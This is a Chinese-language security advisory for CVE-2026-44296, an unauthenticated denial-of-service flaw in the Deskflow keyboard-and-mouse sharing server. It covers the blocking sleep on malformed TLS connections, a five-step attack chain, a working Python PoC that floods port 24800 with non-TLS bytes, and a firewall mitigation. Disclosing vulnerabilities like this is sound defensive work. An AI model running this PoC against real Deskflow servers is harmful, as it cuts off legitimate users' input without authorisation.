IPBUF安全漏洞报告
English
CVE-2026-44296 CVSS 7.5 高危

CVE-2026-44296 Deskflow远程拒绝服务漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44296
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Deskflow

相关标签

DoSDenial of ServiceDeskflowCVE-2026-44296远程漏洞未认证漏洞

漏洞概述

Deskflow是一款键盘鼠标共享应用。在1.26.0.167版本之前,运行在默认开启TLS模式下的服务器存在远程未认证拒绝服务漏洞。攻击者无需认证,只需向服务器监听端口发送非有效TLS ClientHello字节的TCP连接,即可触发服务器的致命错误处理流程,导致处理所有连接的线程阻塞。持续攻击可使服务器完全瘫痪。

技术细节

该漏洞的核心在于Deskflow处理异常TLS连接时的线程阻塞机制。受影响版本的服务器默认启用TLS,其多路复用器工作线程负责处理所有套接字(包括键盘、鼠标及剪贴板事件)。当恶意TCP客户端连接但不发送有效的TLS ClientHello数据时,`SecureSocket::secureAccept`会捕获错误并调用`Arch::sleep(1)`。这是一个同步阻塞调用,导致整个工作线程暂停1秒。在此期间,所有合法用户的输入事件均会被挂起。攻击者只需维持每秒一次的恶意连接速率,即可导致服务器持续卡顿甚至完全无法响应,从而实现远程拒绝服务攻击,且无需任何身份认证。这种利用方式利用了单线程事件循环模型在处理阻塞操作时的脆弱性。

攻击链分析

STEP 1
侦察
攻击者扫描网络,发现开启默认端口(通常是24800)的Deskflow服务器。
STEP 2
建立连接
攻击者向目标服务器的监听端口发起TCP连接。
STEP 3
发送畸形数据
在连接建立后,攻击者发送非TLS ClientHello格式的数据(如任意乱码或HTTP请求)。
STEP 4
触发阻塞
服务器解析失败,进入`SecureSocket::secureAccept`的错误处理分支,调用`Arch::sleep(1)`,导致主工作线程阻塞1秒,所有用户的输入中断。
STEP 5
持续攻击
攻击者以每秒至少一次的频率重复上述步骤,使服务器持续处于阻塞状态,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import time def dos_attack(target_ip, target_port, duration): """ PoC for CVE-2026-44296 Sends non-TLS bytes to trigger the blocking sleep in Deskflow. """ end_time = time.time() + duration print(f"[*] Starting DoS attack on {target_ip}:{target_port} for {duration} seconds...") while time.time() < end_time: try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) # Connect to the Deskflow server s.connect((target_ip, target_port)) # Send invalid bytes (not a valid TLS ClientHello) # This triggers the fatal error branch in SecureSocket::secureAccept s.send(b"INVALID_TLS_DATA") # Close the connection immediately s.close() # Sleep slightly to align with the 1-second block or sustain the attack time.sleep(0.1) except Exception as e: print(f"[!] Error: {e}") time.sleep(0.1) print("[*] Attack finished.") if __name__ == "__main__": # Example usage # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 24800 DURATION = 60 dos_attack(TARGET_IP, TARGET_PORT, DURATION)

影响范围

Deskflow < 1.26.0.167

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或网络ACL限制对Deskflow监听端口的访问,仅允许可信的内部IP地址连接,从而阻断外部攻击者的恶意连接尝试。

参考链接